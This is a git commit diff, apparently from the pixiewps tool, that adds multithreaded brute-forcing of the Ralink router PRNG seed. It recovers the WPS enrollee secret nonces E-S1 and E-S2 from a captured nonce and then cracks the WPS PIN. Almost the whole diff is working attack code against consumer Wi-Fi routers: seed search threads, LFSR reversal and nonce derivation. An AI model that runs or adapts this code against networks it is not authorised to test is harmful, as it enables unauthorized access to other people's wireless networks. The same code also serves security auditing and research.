implement parallel cracking for ralink

since we already had realtek parallelized, let's do the same for
ralink too.

this commit is the result of a collaborative effort between
@wiire-a and myself.
This commit is contained in:
rofl0r 2017-11-18 22:35:26 +00:00
parent 14ad43fa6d
commit 7db5fd84f9
2 changed files with 160 additions and 23 deletions

View File

@ -25,6 +25,7 @@
#include <getopt.h>
#include <pthread.h>
#include <limits.h>
#include <assert.h>
#include <stdarg.h> /* libtommath.c */
#if defined(_WIN32) || defined(__WIN32__)
#include <windows.h>
@ -77,24 +78,24 @@ static const struct option long_options[] = {
{ 0, 0, 0, 0 }
};
#define SECS_PER_JOB_BLOCK 1000
#define SEEDS_PER_JOB_BLOCK 1000
struct crack_job {
pthread_t thr;
time_t start;
uint32_t start;
};
static struct job_control {
int jobs;
time_t end;
int mode;
uint32_t end;
uint32_t randr_enonce[4];
struct crack_job *crack_jobs;
volatile uint32_t nonce_seed;
} job_control;
static void *crack_thread(void *arg) {
static void crack_thread_rtl(struct crack_job *j) {
struct glibc_lazyprng glibc_lazyprng;
struct crack_job *j = arg;
uint32_t seed = j->start;
uint32_t limit = job_control.end;
uint32_t tmp[4];
@ -113,14 +114,90 @@ static void *crack_thread(void *arg) {
seed--;
if (seed < j->start - SECS_PER_JOB_BLOCK) {
long long tmp = j->start - SECS_PER_JOB_BLOCK * job_control.jobs;
if (seed < j->start - SEEDS_PER_JOB_BLOCK) {
long long tmp = j->start - SEEDS_PER_JOB_BLOCK * job_control.jobs;
if (tmp < 0) break;
j->start = tmp;
seed = j->start;
if (seed < limit) break;
}
}
}
struct ralink_randstate {
uint32_t sreg;
};
static unsigned char ralink_randbyte(struct ralink_randstate *state) {
unsigned char r = 0, result;
if (state->sreg == 0)
state->sreg = 1;
for (int i = 0; i< 8; i++) {
if (state->sreg & 0x00000001) {
state->sreg = ((state->sreg ^ 0x80000057) >> 1) | 0x80000000;
result = 1;
} else {
state->sreg = state->sreg >> 1;
result = 0;
}
r = (r << 1) | result;
}
return r;
}
static int crack_rt(uint32_t start, uint32_t end, uint32_t *result) {
uint32_t seed;
struct ralink_randstate prng;
unsigned char testnonce[16] = {0};
unsigned char *search_nonce = (void*) job_control.randr_enonce;
int i;
for (seed = start; seed < end; seed++) {
prng.sreg = seed;
testnonce[0] = ralink_randbyte(&prng);
if (testnonce[0] != search_nonce[0]) continue;
for (i = 1; i < 4; i++) testnonce[i] = ralink_randbyte(&prng);
if(memcmp(testnonce, search_nonce, 4)) continue;
for (i = 4; i < 16; i++) testnonce[i] = ralink_randbyte(&prng);
if(!memcmp(testnonce, search_nonce, 16)) {
*result = seed;
return 1;
}
}
return 0;
}
static void crack_thread_rt(struct crack_job *j) {
uint64_t tmp;
uint32_t start = j->start, end;
uint32_t res;
while (!job_control.nonce_seed) {
tmp = (uint64_t) start + (uint64_t) SEEDS_PER_JOB_BLOCK;
if (tmp > (uint64_t) job_control.end) tmp = job_control.end;
end = tmp;
if (crack_rt(start, end, &res)) {
job_control.nonce_seed = res;
DEBUG_PRINT("Seed found %u", (unsigned) res);
}
tmp = (uint64_t) start + (uint64_t) (SEEDS_PER_JOB_BLOCK * job_control.jobs);
if (tmp > (uint64_t) job_control.end) break;
start = tmp;
}
}
static void *crack_thread(void *arg) {
struct crack_job *j = arg;
if (job_control.mode == RTL819x)
crack_thread_rtl(j);
else if (job_control.mode == RT)
crack_thread_rt(j);
else
assert(0);
return 0;
}
@ -144,28 +221,35 @@ static void setup_thread(int i) {
}
#endif
static void init_crack_jobs(struct global *wps) {
static void init_crack_jobs(struct global *wps, int mode) {
job_control.jobs = wps->jobs;
job_control.end = wps->end;
job_control.end = (mode == RTL819x) ? wps->end : 0xffffffffu;
job_control.mode = mode;
job_control.nonce_seed = 0;
memset(job_control.randr_enonce, 0, sizeof(job_control.randr_enonce));
/* Converting enrollee nonce to the sequence may be generated by current random function */
int i, j = 0;
for (i = 0; i < 4; i++) {
job_control.randr_enonce[i] |= wps->e_nonce[j++];
job_control.randr_enonce[i] <<= 8;
job_control.randr_enonce[i] |= wps->e_nonce[j++];
job_control.randr_enonce[i] <<= 8;
job_control.randr_enonce[i] |= wps->e_nonce[j++];
job_control.randr_enonce[i] <<= 8;
job_control.randr_enonce[i] |= wps->e_nonce[j++];
}
if(mode == RTL819x)
for (i = 0; i < 4; i++) {
job_control.randr_enonce[i] |= wps->e_nonce[j++];
job_control.randr_enonce[i] <<= 8;
job_control.randr_enonce[i] |= wps->e_nonce[j++];
job_control.randr_enonce[i] <<= 8;
job_control.randr_enonce[i] |= wps->e_nonce[j++];
job_control.randr_enonce[i] <<= 8;
job_control.randr_enonce[i] |= wps->e_nonce[j++];
}
else
memcpy(job_control.randr_enonce, wps->e_nonce, 16);
job_control.crack_jobs = malloc(wps->jobs * sizeof (struct job_control));
time_t curr = wps->start;
uint32_t curr = (mode == RTL819x) ? wps->start : 0;
uint32_t add = (mode == RTL819x) ? -SEEDS_PER_JOB_BLOCK : SEEDS_PER_JOB_BLOCK;
for(i = 0; i < wps->jobs; i++) {
job_control.crack_jobs[i].start = curr;
setup_thread(i);
curr -= SECS_PER_JOB_BLOCK;
curr += add;
}
}
@ -844,6 +928,42 @@ usage_err:
goto memory_err;
}
if (!found_p_mode) {
init_crack_jobs(wps, RT);
nonce_seed = collect_crack_jobs();
if (nonce_seed != 0) {
unsigned lfsr = bit_revert(nonce_seed);
int k = 8 * 32;
while (k--) {
unsigned int lsb_mask = ~(lfsr & 1) + 1;
lfsr ^= lsb_mask & 0xd4000003;
lfsr >>= 1;
lfsr |= lsb_mask & 0x80000000;
}
struct ralink_randstate prng;
prng.sreg = bit_revert(lfsr);
s1_seed = prng.sreg;
for (int i = 0; i < WPS_NONCE_LEN; i++)
wps->e_s1[i] = ralink_randbyte(&prng);
s2_seed = prng.sreg;
for (int i = 0; i < WPS_NONCE_LEN; i++)
wps->e_s2[i] = ralink_randbyte(&prng);
DEBUG_PRINT("Trying with E-S1: ");
DEBUG_PRINT_ARRAY(wps->e_s1, WPS_SECRET_NONCE_LEN);
DEBUG_PRINT("Trying with E-S2: ");
DEBUG_PRINT_ARRAY(wps->e_s2, WPS_SECRET_NONCE_LEN);
r = crack(wps, pin);
if (r == PIN_FOUND) {
found_p_mode = RT;
DEBUG_PRINT("Pin found");
} else if (r == MEM_ERROR) {
goto memory_err;
}
}
}
/* 2 */
} else if (p_mode[k] == ECOS_SIMPLE && wps->e_nonce) {
@ -866,7 +986,7 @@ usage_err:
for (i = 0; i < WPS_SECRET_NONCE_LEN; i++) /* Advance to get E-S2 */
wps->e_s2[i] = (uint8_t) (ecos_rand_simple(&seed) & 0xff);
DEBUG_PRINT("Seed found");
DEBUG_PRINT("Seed found %u", nonce_seed);
break;
}
index++;
@ -924,7 +1044,7 @@ usage_err:
if (!(wps->e_nonce[0] & 0x80) && !(wps->e_nonce[4] & 0x80) &&
!(wps->e_nonce[8] & 0x80) && !(wps->e_nonce[12] & 0x80)) {
init_crack_jobs(wps);
init_crack_jobs(wps, RTL819x);
#if DEBUG
{
@ -1178,10 +1298,15 @@ usage_err:
if (wps->e_nonce) {
if (wps->verbosity > 2) {
if ((found_p_mode == ECOS_SIMPLE || (found_p_mode == RTL819x && nonce_seed)
|| found_p_mode == ECOS_SIMPLEST || found_p_mode == ECOS_KNUTH)) {
|| found_p_mode == ECOS_SIMPLEST || found_p_mode == ECOS_KNUTH)) {
printf("\n [*] Seed N1: %u", nonce_seed);
}
if (found_p_mode == RT && s1_seed && s2_seed) {
printf("\n [*] Seed N1: 0x%08x", nonce_seed);
printf("\n [*] Seed ES1: 0x%08x", s1_seed);
printf("\n [*] Seed ES2: 0x%08x", s2_seed);
}
if (found_p_mode == RTL819x && nonce_seed) {
time_t seed_time;
struct tm ts;

View File

@ -122,6 +122,18 @@ int get_int(char *in, int *out) {
return 0;
}
unsigned int bit_revert(unsigned int v) {
int i;
unsigned int lsb, n = 0;
for (i = 0; i < sizeof(unsigned int) * 8; i++) {
lsb = v & 1;
v >>= 1;
n <<= 1;
n |= lsb;
}
return n;
}
/* Custom timegm function made by Eric S Raymond */
time_t c_timegm(register struct tm *t) {
register long year;